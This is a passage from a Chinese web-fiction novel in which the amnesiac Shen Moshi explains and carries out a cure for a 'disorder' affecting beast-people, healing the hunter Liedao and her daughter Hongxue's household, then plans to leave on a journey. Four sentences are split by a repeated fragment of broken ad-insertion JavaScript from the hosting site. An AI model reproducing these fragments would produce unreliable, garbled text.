沈莫失为敏锐的红雪鼓掌,“我正要说到这一点呢,身体可不会管身体主人的想法啊,不听人话才是它们的常态,就像大脑这样。” 红雪皱眉疑惑地听着。 沈莫失见状解释道:“你可以手舞足蹈,但你能让你的大脑给你跳个舞吗?” 钟欢没忍住笑出了声。 “内力源自于身体,本也应该不听人话才对,所以兽人面对的才是正常现象。可在半兽人身上,大脑处于了绝对的强势地位,才让内力显得格外听话。” 红雪艰涩地点了点头,虽然还是没太懂,但能大致意会,“所以说内力压制了紊乱症这一说法,某种意义上其实截然相反?” 沈莫失把自己都说笑了,“是的,正是因为内力折腾不起来,才让半兽人们逃过了一劫。” 可转瞬,她又说道:“可我要用来解决紊乱症的方法,又确实与内力相关。” 沈莫失俯身凑近,抬起一只手放在唇前,神神秘秘地低声对两小只说:“它将会成为真正的救命良药的。” 说这话时,沈莫失眼中仿佛闪烁着莫名的光彩,小小的空间内,三人谁都没有再说话,对视间气氛陷入凝重的沉寂中。 突然,红雪打破了三人的沉默,却是站起身毫不犹豫地给了沈莫失一个暴栗。 动作之果决,速度之快,一旁的钟欢都没反应过来。 “干嘛呀!”沈莫失神秘的气质一扫而空,双手捂着头抱怨。 “这种时候你就不要惦记着耍帅啦!”红雪叉腰教训沈莫失。 小可爱钟欢被这场面吓了一跳,连忙起身制止红雪,“沈姐姐不是那种人啦,红雪你肯定是误会了。” 没料到沈莫失迅速白了红雪一眼,“就是这种重要的时候才要耍帅好吗!不然要留到什么时候呢。” 说完就一个虎扑抱住了夹在中间的钟欢猛蹭道:“还是虎妹最好了,虎妹贴贴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ~” “喂!你这习惯我也早想说你了,不要随随便便摸别人抱别人啊!”红雪不满地想把钟欢拉出来。 “嗯呐,不放不放。”完全没有成年人架子的沈莫失原形毕露,抱着钟欢不肯撒手。 “恶心!你快放开她。” 被两人争抢的钟欢一脸生无可恋,“沈姐姐,我下次再也不帮你了啦。” “我说过多少次了,我打她完全就是因为她活该呀!” “听不到听不到听不到。” 在房间里肆意打闹一阵子后,三人终于能重新坐下来好好谈话了。 “治疗紊乱症的方法,简单粗暴地来说有两条路线,既然是因为两方打架产生的风波,那么只要帮助任何一方战胜另一方,彻底打压失败方就可以了。” 仿佛无视发生过的沈莫失冷静地叙述解决办法。 一旁双手抱胸的红雪警惕地看着她,哼了一声低声道:“厚脸皮。” 虽然是低声说的,但是就三人这个距离,谁听不到呀。 钟欢心有余悸地看看两人,拍着红雪安抚她。 厚脸皮的沈莫失笑得毫无破绽,“提问,帮助哪一方呢?” 红雪撇撇嘴不想理她,但是治疗紊乱症的方法她确实无法拒绝,回答道:“既然大脑消停不下来,那么肯定是像半兽人一样,帮助大脑压制身体方吧。” “很棒。” 沈莫失为红雪鼓掌,接着提问道:“那么怎么做到呢?要知道兽人们体内的内力水平与半兽人可不是一个层次的,它还会源源不断地由身体产生出来。” 闻言,红雪皱起了眉头,思索着不说话。 “既然说要让内力成为真正的救命良药,那么是用内力?”钟欢帮着小伙伴猜测。 还没等沈莫失反驳,红雪先驳回了钟欢的猜测。 “不行的,如果要打破身体内部的局面,就要引入外力,可只有半兽人的内力才是可控的,既然都是内力,人家多,我们少,要怎么做到呢,更何况,内力之所以被称为内力,就是因为它不可能放出到体外。” 说着,红雪看了眼沈莫失垂落在膝上的双手,想到了她所谓的精神力。 作为被精神力探索过一圈的试验者,她对此的印象很深。 沈莫失配合地抬手,“没错,与我的精神力不同,你们的内力……是不可放出体外的。” 钟欢挠了挠头,“那我就不知道了。” 红雪还是皱着眉思考。 “其实你已经发现了吧,这种方法是只适用于半兽人的。” 抬头看向发声的沈莫失,红雪默默点头。 “所以说,兽人们适用的其实是第二种方法,”沈莫失竖起两根手指,“需要帮助身体一方压过大脑。” 钟欢蔫头耷脑地说:“可是大脑不是没办法打败吗?我不想成为傻子,也不想变成只死老虎。” 红雪也很疑惑这一点,大脑无法被放弃还是钟欢自己说的。 沈莫失差点被钟欢的虎样逗笑了,不再卖关子,“谁说要放弃大脑了?我们就不能骗骗它?” 钟欢:“骗?” 红雪:“怎么骗?” 沈莫失挑眉,“用内力呀,半兽人那点内力,要来打过兽人体内的内力是没办法,不过,拿来骗骗脑子可是足够了的。” 红雪提醒她,“半兽人的内力是没办法放出体外的,它毕竟叫内力呀。” “谁告诉你内力不能放出体外的?”沈莫失手肘撑在膝盖上,单手托着脑袋笑得灿烂。 钟欢难得认同了红雪的想法,这个人是真的讨打诶! 11. 神金! “深呼吸,不要太紧张。”沈莫失抚了抚红雪毛绒绒的双耳。 红雪攥紧了拳头,闭上眼缓缓呼吸平复自己的心情。 半晌,抬手感受自己的心口,“它还是跳得好快,原来心脏也是不听我使唤的,它真是和大脑一样坏。” 沈莫失没有接话,她看出红雪能自己调整好心情。 “你知道吗?”红雪突然抬头看向沈莫失。 “知道什么?” 红雪犹豫不决,嘴唇嗫喏了几下,低声说道:“我从来就不相信你能治好紊乱症,还是在这么短的时间里,即使是现在,我也觉得我是在做梦。” “这个梦难道不好吗?” 红雪不禁露出笑容来,从眼神到嘴角都能看出她的喜悦之情。“很好,再好不过了。” 沈莫失摊手道:“那不就得啦。” “相信自己吧,就算不相信自己,难道你还不相信我吗?”沈莫失故作俏皮地给了红雪一个wink。 “没错。”红雪抿唇,最后一次深呼吸,眼神坚定地敲响了猎刀的房门。 猎刀早就注意到门口的两人了,两人完全没有掩饰脚步声,又在门口窸窸窣窣地聊天,想不发现都难。 “又是什么事?”猎刀懒散地坐在椅子上,面向进门的两人。 “妈妈!” 红雪激动下喊出的一声甚至有些破音,沈莫失注意到猎刀的耳朵都被惊得抖了下。 “沈莫失她研究出治疗紊乱症的办法了。” “……哦,是嘛。” 猎刀的反应出乎意料的冷静,听闻是这件事就意兴阑珊地转头继续看书。 红雪见状,继续劝说猎刀。 “我最开始也不相信的,但是这是真的,妈妈,我们再试一次吧,最后一次了,好吗?” 房间内陷入了长久的沉默,谁都没有说话。 沈莫失站在一边当个哑巴摆件,她上次的经历已经说明了,依靠她是说服不了猎刀的,要说服猎刀,还是得看红雪。 猎刀没有转头,盯着手里的书本,不知道什么情节这么吸引她,半天也没翻一页。 红雪觉得喉咙有点发酸,刚刚积聚起来的勇气在猎刀面前毫无作用,终于低下头,没忍住发出抽泣的声响。 猎刀拿书的手一颤,转向无人的方向轻声叹息,又深吸口气看向红雪和沈莫失,“宝宝出去下好吗?让我和她单独聊聊。” 红雪睁着双通红的狗狗眼看了眼猎刀,又满怀希望地看向沈莫失。 沈莫失回了一个安抚的眼神,红雪终于肯拖着沮丧的小尾巴出去了,顺手帮两人带上了门。 猎刀将书合上,安置在一边,正襟危坐地面向沈莫失,压低了声音说:“我希望你能劝劝她,让她放弃这个想法吧。” 她声音放得很轻,像是一个病重之人的弥留之言,沈莫失只能勉强听见,便上前几步,拉近了和猎刀之间的距离。 沈莫失知道她是怕门口的红雪偷听到她们的谈话,很配合地以同样的音量回复道:“你觉得我就没有这个治好你的想法吗?” 猎刀扯扯嘴角,“现在就只有我们两个人,就别说那些场面话了,你是个好人,我知道这一点,但你只会去救那些准备好被救的人。” “我不愿意接受治疗,你或许会有些感慨,但也仅此而已罢了……可她不一样。” 沈莫失礼貌地笑了下,不赞同也并不否认猎刀对自己的评价。 “她真的很关心你,也希望你能好好活下来。” “我知道,”猎刀的音量变响了,意识到后却压得更低,“可我接受治疗也只是延长了她的痛苦罢了,她已经为我做得够多了,我不希望再拖累她。” 说着,她以恳切的目光注视着沈莫失。 “她值得拥有更好的未来不是吗?” 沈莫失回望猎刀,她见过猎刀温和的、狠厉的、悲伤的眼神,但这是她第一次见到她恳切期盼的目光. 这对于一位战士而言很不寻常,却只是一位母亲最真诚的眼神。 “我很奇怪,为什么你不愿意接受治疗,为什么你活着却只会拖累她。” 明明治好了病,有家长看顾的红雪只会生活得更幸福才对,其中难道还有什么隐情吗? 一阵深深的叹息声,猎刀提起了袖口伸向沈莫失。 “既然你说你可以通过你那所谓的精神力来检查我的身体状况,那么就来试试吧,只是希望你不要把今天看到的状况透露给红雪,她……她会很难过的。” 沈莫失伸手接过这只曾经拒绝过她的手,精神力借着交握的双手传递到另一人的体内。 一探入猎刀的身体,她就狠狠皱起眉头。 看到她这幅表情,猎刀便知道沈莫失明白了。 “真是不可思议的力量,我完全没有感觉,但你确实知道我的身体情况了是吗。”猎刀怔怔地看着两人交握的手心。 沈莫失没有接话,全神贯注地为猎刀做身体检查。 “平时手会痛吗?” “右手会痛一些,左手还好。”猎刀语气平淡地回答,她说的是实话,既然已经到了这一步,说谎掩饰也没什么意义了。 “身体其他地方呢?” 无视了沈莫失难看的脸色,猎刀无所谓地笑着说:“应该都是痛的吧,不过我有在定期吃药,所以还能忍受。” “你还看得见吗?” “比起年轻时候肯定是不清晰的,不过我的耳朵还算灵敏。” “……嗅觉、还有味觉呢?”沈莫失抬眼,眸光如刃,紧紧盯着猎刀。 猎刀轻笑一声回答她,“早就不管用了,东西吃起来总是很奇怪,抱歉啊,让你吃了这么多次难吃的饭菜。” 道什么歉呢,那些难吃的饭菜难道不是你每天的日常吗? 沈莫失想着,她就说怎么会有那么离谱的厨房杀手存在,现在谜题解开了,可心头却也没什么轻松之感。 真是不可思议。 沈莫失是第一次接触到紊乱症晚期的患者,之前她只接触过钟欢这样的小孩子,她这个年纪,紊乱症一般都严重不到哪去。 猎刀的情况很复杂,一系列的并发症拖垮了她的身体,全身关节肿胀、视力衰退、内脏转位……总之就是一身的病。 沈莫失向猎刀投去复杂的眼神,带着这样的身体还能坚持到现在实在是不容易。 光是味觉变动一项,就足够一般人好受的了。 “看到了吧,即使发生奇迹,紊乱症就此从我的身体上消失,这些病痛也不会让我多活几天的。” 猎刀收回手放下袖子,神色平静地说出了残酷的事实,“治好紊乱症不过是给了那孩子虚假的希望罢了,既然终归是要离别的,不如只痛那么一次。” 仔细观察才能发现,猎刀的身体出乎意料地瘦弱。 她偏好宽松的衣物,厚实的绒毛撑起了身形的轮廓,才使得这一点不易被人发现。 见沈莫失低着头神色不明,也没再说话,猎刀又像是个长辈般安抚她。 毛绒绒的手掌在沈莫失手上轻拍,“没事的,是我自己的身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 体不争气,这不是你的过错,现在你知道我为什么不愿意接受治疗了,帮我一起劝劝红雪吧。” “哼。” 看着猎刀认命的表情,沈莫失不屑地轻哼一声,拍开了猎刀安慰她的手,低声喃喃了句什么。 语调模糊,猎刀一时也没有听清,“你说什么?” “你是不信我是吧?” 沈莫失放大音量,扬起眉眼,露出一副张扬到“老天第一,老娘第二”的表情。 “你?我。” 面对突然不按套路出牌的沈莫失,猎刀被强行从低落的情绪中抽离出来,哑然又无措地看着沈莫失在她面前乱舞。 “呵,不信就不信吧,那就带着怀疑接受我的治疗,什么紊乱症,什么并发症,在我手里还不是小菜一碟。” 沈莫失举起大拇指指向自己,接着又伸出食指指向面前的猎刀,一套动作无比丝滑。 “老家伙,我现在知道你身体有多差了,可别敬酒不吃吃罚酒,要是敢拒绝我,我就来硬的了,到时候你叫破喉咙也不会有人来救你的。” “不要。” 猎刀表情与大脑如出一辙地空白,果断拒绝这个发病的家伙。 “你以为你拒绝的是谁的治疗?” 沈莫失做出夸张的后仰动作,表情抽象到抽搐的程度。 又是一个夸张的前倾,不只是食指,两手十根手指根根指向自己。 “是我诶!” 你以为你是谁啊! 猎刀顾不上担忧自己的病情和红雪的未来,脑海里不断刷屏这句话,下意识露出飞机耳,起身躲避的动作带倒了坐着的椅子,发出一声巨响。 从“发病”开始,沈莫失就没再控制自己的音量。 门外。 果不其然耳朵竖起,正贴着门偷听的红雪以为两人在沉默的交流后吵了起来,甚至发展到了打架这一步。 着急的红雪忙推开门喊道:“你们不要再打了啦!” 即使在发疯也很注意要接梗的沈莫失迅速回道:“要打去练舞室打!” 推门才发现情况和自己想的截然不同的红雪愣在了原地,被同样不知所措的猎刀迅速抓了过来护在身后。 “到底是发生了什么啊!” 一脸茫然的红雪看着面前混乱的场景,终于忍不住大叫出声。 “哼哼。” 一手遮掩住面部,一手斜向后伸出,跨着腿摆pose的沈莫失开口宣称道,“放心吧,小妹妹,你的妈妈就交给我来拯救了!” 猎刀岔开手,以老母鸡护崽的姿势挡住身后的红雪,闻言终于是没忍住,用一种难以描述的眼神转头看向自家宝贝女儿。 “这也在你们的计划中吗?” 红雪一脸震惊地疯狂摇头。 “你这家伙,说多少次了,在关键的时候不要说怪话啊!” 终于,对沈莫失的发疯举动忍无可忍,又确实打不过她的猎刀在“被逼”答应了接受治疗后,把两个人都撵出了自己的卧室。 猎刀“砰”的一声关上了卧室门,而被赶出来的沈莫失迅速收放自如地回到了正常人的状态。 红雪敬佩又惊恐地看着沈莫失的表演。 “这也在你的计划之中吗?” 沈莫失回了红雪一个熟悉的wink,“你永远可以相信沈莫失。” 红雪颤着唇,嗫喏了半天喊出一句话,“神金!” 闻言,沈莫失迅速耷拉下脸来,伸手撸乱了红雪的毛发。 “小孩子不要学我说话。” 12. 安全的时候她最危险…… “结果是好的不就好了,在意我的手段作什么。” 站没站相的沈莫失歪斜着依在红雪的身上,像只抱着细弱树枝的大考拉,就这么沿着走廊往回走。 “恕我直言,你的手段很难让人不在意。” 拖着沈莫失走路的红雪叹了口气,说服了妈妈接受治疗,明明是这样好的一件事,为什么,为什么就感受不到那股激动之情呢! “哈哈,小孩子别想那么多了,眉毛都皱巴巴了,”沈莫失嬉皮笑脸,“现在猎刀妈妈同意了这件事,我们也差不多可以开始开孔的训练了。” “你到底什么时候能好好听听别人的意见啊……” “我很擅长听取别人的意见啊,每个对我有意见的人我都记下来了。”沈莫失蹭蹭红雪,对此不以为意。 “不对,以前对我有意见的人我都忘了,失忆可真是件倒霉事啊。”沈莫失长吁短叹。 “神金。”偷偷嘟囔了一句后,红雪暂时搁置了声讨沈莫失的项目,思考起有关“开孔”的事项来。 …… “内力这个名字实在是取得不恰当,就因为取了这个名字,所以你们才都觉得这股力量是无法放出体外的。” 沈莫失盘腿坐在床上,以一种故作夸张表情思索着什么。 “而且这个名字,总给我一种熟悉感,每次叫出来都好别扭诶……” 探索了一番所剩不多的记忆,没有找到答案的沈莫失也只能放下这种古怪的既视感。 红雪与钟欢坐在一边,上身前倾听得认真,见沈莫失跑题,不禁出声打断,“这时候就不要管那么多了啦,快说要怎么把内力放出来。” 沈莫失挠了挠头,给两小只打开新世界。 “你们无法把内力放出体外主要是因为,这股力量在你们的体表形成了一层保护膜。” “毕竟内力的诞生就是为了保护自己的身体,即使有大脑这一内患需要应付,也没忘了阻止外界的干扰,就是这层膜,不让内力外泄,使你们能在混乱的外界环境中稳定住自身。” “可同时,这种保护也阻碍了你们自身往外发展。” “嘛,在不知道如何掌握内力的时候,这层膜确实是很有作用的就是了,可如果要采用我的治疗方法的话,就必须要突破这个阻碍了。” 如果红雪能够突破这层阻碍,那就不需要她亲自去给猎刀调理了。 沈莫失这么想着,受人以鱼不如授人以渔,紊乱症这种疾病,不可能通过一次治疗就一劳永逸,必须是不断地欺骗大脑,使其忽略自身的兽化部位。 而她是不可能一直待在这个地方,就为了给猎刀治病的。 算上她自己的那块碎片,这么小一块地方,已经聚集了三块钥匙碎片了,即使在她苏醒地点周围,碎片浓度会稍高些,但也仅此而已了。 要找到剩下的碎片,还是需要出去走动走动才好,她在这块地待的时间确实蛮久了。 给猎刀调理得差不多就该道别了,沈莫失暗自做下决定。 内心思索了一圈的沈莫失回归正题,继续解释道:“考虑到这层膜确实是有保护作用的,也不好粗暴地破坏掉,所以在合适的地方开个孔就好了。” 沈莫失笑眯眯地说:“放心吧,很简单的,也不会有什么不适感。” “既然你说得这么简单,那为什么之前从没有人做过这一点呢?” 红雪很疑惑,“不可能所有人都被这个名字迷惑吧?总会有人想要尝试的,最开始也是因为尝试失败才认为这种力量无法无法放出体外的吧?” “量变引起质变,”沈莫失煞有其事地拽文,“以及他山之石可以攻玉。” “打个比方,假设你所能掌控的内力是10,而你的保护层与你的内力实质上是一体的,所以它也是10,而要开个孔,最低需求的内力量就是11,只有站在你这边的力量高于修复保护层的力量,才能达到开孔的目的。” 沈莫失竖起一根手指。 “第一个方法,刺激内力短时间内增加,在保护层还未得到增援的时候,偷袭!” 沈莫失突兀地举起拳头朝上挥出,成功收获两个看傻子的眼神。 “打破它也是可行的,但这种情况就要看时机了,而且很难掌控,如果用力重了,把保护层打得七零八落,内力外泄无法保护身体的话,结果应该不会比紊乱症发作要好过多少。” “之前有幸打破了阻碍的人,绝大多数应该都倒在了第二关。” 红雪抿唇听着沈莫失继续往下讲。 沈莫失竖起第二根手指。 “所以更稳定的方法是,借助外力去打破内部的平衡,精准地控制好保护层的破坏程度。” “不过毕竟会对它造成‘伤口’,在开孔之后,需要有意识地控制住自己的内力不往外泄,控制不住就会很危险——这就是只能开‘小’孔的原因。” “很巧,我的精神力就能做到这一点。”沈莫失看着红雪突然亮起的双眼,“还有但是呢。” “但是!这个过程是不可逆的,一旦做出了决定就无法反悔,终其一生都需要约束好自己的内力。” 沈莫失一改之前嬉皮笑脸的模样,认真地审视面前的红雪,甚至一旁围观的钟欢都被这种气氛搞得紧张了起来。 …… “所以你真的做好决定了吗?” 沈莫失的视线仿佛带有重量般压在了红雪身上。 “这是我最后一次向你确认这件事,你或许还没意识到,可我作为大人必须提前警告你,这本不该是你在十岁就作出的选择。” 与沈莫失对视的红雪不禁瞳孔放大,浑身毛发都竖立起来,这是她第一次在沈莫失身上感受到这种无言的压迫感。 不过很快,她就调整好了自己的心态。 她自认为这段时间对沈莫失有些了解了,虽然在安全的时候,待在沈莫失身边总是会遇到危险,不过在这种正经的危机时刻,沈莫失总是最安全的那个选项。 所以红雪反而笑出了声,甚至轻松地晃了晃尾巴。 她都为自己这时候的冷静而感到诧异,“这件事确实会有危险,不过,你既然敢对我一个十岁的小孩子抛出这样的选项,那这危险程度就没有你说的那么严重。” 一副有恃无恐的样子看得沈莫失嗤笑一声,“哼,可别以为你有多了解我。” “嗯嗯,好的,我一点儿都不了解你。” 红雪笑眯眯,完全不在意沈莫失的反应,还重读了“一点儿”来调侃她,跟着她进门。 哼,小屁孩儿,不跟你计较。沈莫失暗自腹诽她。 “虽然我还是会为你开孔,不过出了些意外——猎刀的身体状况出乎我的意料,所以最开始由我来进行治疗,你就别插手了,看着吧。” 沈莫失捞过红雪的手,探寻她的内力 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 路径,试图找到个容易守卫的开孔点。 她可完全没有给猎刀保密的想法,反正她根本就没答应,更何况—— “猎刀还以为她瞒得你很好呢,”沈莫失抽空睨了眼听到消息也没有任何反应的红雪,“可你这么聪明不是吗?” “妈妈不希望我知道的事情我都不会知道。” 红雪低头看着两人交握的手,沉稳又娴静地笑着。 沈莫失懒得去理会母女俩的相处模式,快准狠地开完了孔,又帮助她稳定住外泄的内力,引导她自己来把孔堵上。 真的没什么感觉诶。 红雪新奇地感受着内力全新的运作方式。 “我就给你开这么点大,虽然会影响你的内力输出,不过更加安全些,再说了谁会要一个小孩子来干什么呢,你能管好猎刀就好了,等你长大了,自己想要把孔扩大,我也管不了你那么多。” 说完,沈莫失就松开了手。 “诶!”红雪有些慌乱地抓住了沈莫失,她没法那么快习惯自己的内力新模式。 也不是一点不怕嘛。 沈莫失好笑地看着红雪抓着她的手,觉得她像是个在练自行车的小孩子,即使已经能歪歪扭扭上路了,家长松开手的时候还是会紧张。 “其实你不用抓着我也没事的,精神力本就不是什么需要手牵手才能发挥作用的力量。” 优哉游哉的沈莫失这么说着,却也没挥开红雪,用空余的手去拿水杯润喉。 “嗯?” 慢悠悠喝了口水的沈莫失继续回答:“内力也是一样的,这种看不见摸不着的力量基本都是这样,握着手只是让对面别那么紧张,毕竟被一种莫名的力量影响到,自己还什么都不知道的话,其实也蛮可怕的不是吗?” 红雪这么一想,好像确实如此。 红雪这一分神,内力出现了明显的波动,沈莫失又帮了红雪一把。 “放轻松,这种事情,就像是呼吸,刚开始的手动挡肯定是会不适应的,时间长了换成自动挡就没事了。” 完全没听懂。红雪瞟她一眼,肉感的小脸鼓成河豚。 沈莫失看得有趣,上去戳了一把,“就是要习惯,习惯成自然懂吗?小孩儿。” “哼。”红雪躲开脸,主动松开了沈莫失的手,开始给耍酷的大人拆台。 “你裤子穿反了。” “什么?”闻言,沈莫失顾不上有趣的小孩了,匆忙搁下水杯去查看。 “啊!真的啊……” 沈莫失苦着脸换裤子。 这个世界的裤子有一点与她习惯的很是不同——开口是在背后的。 她习惯的裤子类型,即使有开口也总是在前方,这是为了穿着方便。 可是这个世界上的人大多数都是有尾巴的,为了方便安置尾巴,裤子就需要在背后开口,那当然也就没必要再在前方开口了。 截然相反的习惯导致沈莫失自来到这个世界后总是穿反裤子。 这可不行啊,沈莫失想着,现在她大多时间还是待在红雪家里,之后一个人在外可要格外注意一下才好。 “哼哼,”不知道沈莫失想着什么的红雪自觉扳回一局,高昂起下巴说,“要习惯,习惯成自然懂吗?外星人。” “略略略。” 换好裤子的沈莫失第一时间对叉腰站在旁边的红雪做鬼脸,两人一时间不知道到底谁大谁小。 13. 出行计划 猎刀的身体状况很差,比起单纯的紊乱症患者要复杂些,沈莫失不只需要骗过她的大脑,让它不再折腾猎刀的身体,还要引导猎刀体内的内力去修补。 后者对于原住民而言几乎是不可能完成的,毕竟兽人拥有的内力虽然体量大却也因此从未被大脑成功驯服,只有半兽人能操作内力,可半兽人体内的内力又打不过兽人的。 也只有沈莫失这个精神力“插班生”才有足够的能力去压制住兽人体内的内力,还强制人家来干活,所以在猎刀身体恢复之前,都只能由沈莫失负责猎刀的治疗。 不过对她来说小菜一碟啦,沈莫失看着猎刀想,应该也不会花费太多时间的。 “好了,可以睁眼了。”沈莫失缓缓收回手,唤醒猎刀,本次治疗已经结束了。 清醒着感受自己体内器官的变化不会是什么很好的体验,沈莫失干脆使用精神力使猎刀晕了过去。 方法简单粗暴,直接用精神力撞上去对面就会晕了,无痛高效,猎刀用了都说不出好。 不过现在的猎刀也没那个心思控诉手段粗暴的沈莫失就是了。 平躺着的猎刀迅速清醒过来,睁眼坐起,第一眼注意到的就是一旁紧张担忧的红雪,接着才慢半拍地意识到,“……好轻松。” 沈莫失退步给母女俩让开空间,猎刀颤抖着体会自己久违了的充斥着力量的身体,好像终于从一个可怕的梦境里脱离出来,第一次感受到如此安宁祥和的世界。 半晌,她才抬头,以不可思议的眼神看向沈莫失。 红雪早就忍不住扑了上去,蹲守在猎刀身边。 猎刀注视着沈莫失的方向,撑着手想要下床,却不适应现在的身体情况,腿一软往前扑去,红雪连忙上前接住她。 沈莫失也在一边阻止猎刀,“诶,等等,你还没好全呢,悠着些。” 猎刀用力地喘息几下,这次没顾得上沈莫失,缓过劲后就扶着红雪和一边的床案直立起来,反复交握双手,又使劲蹦跳了几下。 随着她蹦跳的动作,浑身的毛发都舞动着散发出重获新生的色彩来。 红雪看着重新恢复了活力的猎刀,几乎热泪盈眶,喉咙像是哽住了一般什么都说不出来。 母女俩沉默着对视几秒,突然相拥而泣,沈莫失默默又退了一步,倒不是被这幅画面感动到了,只是红雪的尾巴摇来晃去,蹭得她腿痒痒。 猎刀的情绪缓和得更快些,她抱着泪如雨下的红雪看向了沈莫失,眼神复杂,开口的话语还带着哭腔,“实在是,实在是太感谢你了。” “请原谅我之前对你的不信任。” 猎刀想到此前,自己对沈莫失的多次拒绝,如果不是因为沈莫失的坚持,或许她根本就不会意识到自己曾经与治疗的希望擦肩而过。 而她本不需要在自己多次拒绝后还坚持这一点,“你为我们带来的远远超出了我们对你的付出。” 听到猎刀的话,红雪也从激动的情绪中暂时脱身出来,眼眶已经是通红一片,脸上糊满鼻涕眼泪,硬是逼着自己忍住了泪水,倚着猎刀看着沈莫失,“没错!谢谢你,呜呜,你真的做到了。” 红雪回想起第一天两人之间的对话,视线再次模糊起来,几乎看不清沈莫失的模样了,但她觉得现在的沈莫失简直在发光。 “真不知道要如何感谢你,”猎刀轻轻拍打着红雪的背部安抚她,享受着有力气紧紧拥住女儿的这一刻,“如果有什么能够帮到你的,请一定要告诉我。” 红雪再也憋不下去,一个猛冲扑到了沈莫失怀里。 “呜呜呜啊!” “啊啊,”沈莫失僵直了身子被红雪拦腰抱住,双手悬空在一边不知所措,“可别把眼泪鼻涕都涂我身上啊。” 红雪闻言一个哆嗦,居然颤抖着笑了起来,沈莫失顿时觉得身上的衣服浸湿了一大片。 她的表情顿时变得更加嫌弃了,却也没有推开身上的女孩,任由她抱着自己发泄。 一旁的猎刀看着这幅场景,擦干了泪水也笑出了声,这或许是她这几年来唯一一次毫无压力的笑。 虽然注意到了沈莫失投来的求救的眼神,猎刀却没有一点要帮忙的意思,反而上前一步也加入了红雪,抱住红雪与沈莫失后甚至压低耳朵蹭了蹭沈莫失的下巴。 啊——!沈莫失受到了来自大猫猫的一万点暴击,憋红了脸,动作愈发僵硬。 终于,在半空中僵持了半天的双手还是一手一个,回抱住了红雪与猎刀两人,犹豫又生疏地在两人背后轻拍。 “好了好了,不哭不哭……” 红雪一家终于又恢复了久违的平静,真正的平静,猎刀不再担忧自己走后红雪的未来,红雪也不再为猎刀的身体发愁。 沈莫失也开始准备出发旅行。 “你要走?”红雪惊掉了筷子,目瞪 “狗”呆地看着突然宣布自己要远行的沈莫失。 沈莫失点点头,帮红雪捡起了筷子,拿去厨房调换,平静的语气就像是在话家常,完全不知道自己给红雪造成了多大的影响。 “对呀,最开始留下,一个是因为人生地不熟的,第二就是为了治好猎刀妈妈的紊乱症不是吗?” 她伸手把新筷子递给红雪,“现在猎刀妈妈的病也好得差不多了,你已经可以照顾好妈妈了不是吗?” “我呢,”沈莫失拿起自己的筷子继续干饭,“对这个世界也有了初步的了解,是时候启程去找回我的记忆了。” 红雪捏着筷子怔住了。 是啊,这么些日子相处下来,她都忘了沈莫失是个失忆了的人,虽然她从没表现出严重的对于失去的记忆的焦虑之情,但是缺失记忆的感觉肯定是不好的。 咬着筷子,红雪低下了头,不知道自己还能说些什么挽留的话,她从没想过有一天会和沈莫失分离,她已经完全把沈莫失视为家人了。 一家人就该永远在一起不是吗? 她又咬了咬筷子,看向沈莫失,刚想开口说些什么,猎刀就给她夹了口菜,“别伤心了,妈妈还陪着你。” 她了解红雪,知道红雪这时候的心情,肯定是要恳求沈莫失留下来的。 虽然她也觉得事发突然,有些不舍得沈莫失,可是于情于理,她们都不能说出这样为难人的话,都不该阻止沈莫失去寻找自己的记忆。 于是她转头看向沈莫失,率先表态,“尽管去吧,我还是那句话,有什么需要帮忙的尽管告诉我,还有,你随时都可以回来,家里会一直留着你的房间的。” “家”啊……沈莫失在心里默默念叨着这个字眼。 她也知道红雪会说出什么话来,本来都做好亲自伤小姑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 娘心的准备了,没想到猎刀替她干了这件事,于是便也一笑略过,顺着猎刀的话往下接。 “那可真是太让人放心了,谢谢你们。” 红雪被妈妈堵住了嘴,又被两个大人联合排除出了对话,此时耷拉着眉眼不去看两个人,一个人在那生闷气。 “嘴巴都能挂油壶了。”沈莫失看着小孩子生气的样子差点笑出声,凑过去摸摸红雪的脑袋瓜。 摸上去后,红雪明显一个哆嗦,狠狠颤了一下,像是要哭出来的样子,却还是睁大眼睛憋住了,只是嘴巴翘得更高,一看就知道憋得十分用力。 沈莫失与猎刀都没有说话,只是给红雪留出足够的时间来平复心情。 “才没有。”终于,憋了半天的红雪挤出一句话来。 “嗯?”沈莫失扬起眉毛看着红雪别扭的样子。 “才没有挂油壶!” 红雪放大了音量对沈莫失喊道,虽然还是很难受,不过她也知道这件事不能对着沈莫失发脾气,便只是小小地反抗了一下,把情绪暂时放在心底,接着就竖起筷子吃自己凉掉的大白饭。 “都看我作什么,吃饭吃饭。” 沈莫失一点没被闹脾气的红雪影响到,却有些担心小孩子的心理健康,与猎刀心照不宣地对视一眼。 猎刀微不可查地点了点头,让沈莫失放心,她会照顾好红雪的心情的。 “请不要有顾虑,只管向前吧。”猎刀由衷地祝福沈莫失,希望她前路一片平坦。 沈莫失笑笑,“借你吉言。” …… 沈莫失最终还是与猎刀两人都商量好了启程这件事。 猎刀是完全支持沈莫失的选择的,忙前忙后地为她整理行装,连自己的长刀都硬塞给了沈莫失防身。 红雪虽不太情愿,但还是别扭着接受了这件事,后续还红着脸来给沈莫失道了歉。 一切准备就绪,沈莫失在房内琢磨着自己的旅行计划。 她打算先把驯鹿领主境内溜达一遍,看看能不能撞上新的钥匙碎片,以碎片互相吸引的特性,只要她在新碎片的附近,就肯定会由于各种原因与新碎片遇上的。 驯鹿境内逛完了,她就北上去乌鸦领地,再去鬃狮蜥领地,一圈逛下来,应该基本能集齐碎片了。 如果有不幸在星球其他垃圾区地域的碎片的话——鉴于这颗星球上95%都是垃圾覆盖区,这个可能性不能说不小。 沈莫失挠了挠头,那她也没办法,有人烟的地方她还能边旅游边找,这些毫无人烟的地方她自己的生存就是个大问题。 还是寄希望于这些碎片自己找上门吧,手头拥有的碎片越多,其他零散的碎片找过来的几率也会更大些。 “唉,亲爱的碎片们怎么就不能从天而降砸到我头上呢……”丈量着驯鹿领地大小的沈莫失唉声叹气。 算了,反正她也不缺时间,慢慢来吧。 沈莫失耸耸肩收起地图,畅想着被钥匙砸到脸上的未来。 可有句老话说得好,“计划赶不上变化”。 红雪家来了位特殊的客人,她是专门来拜访沈莫失的。 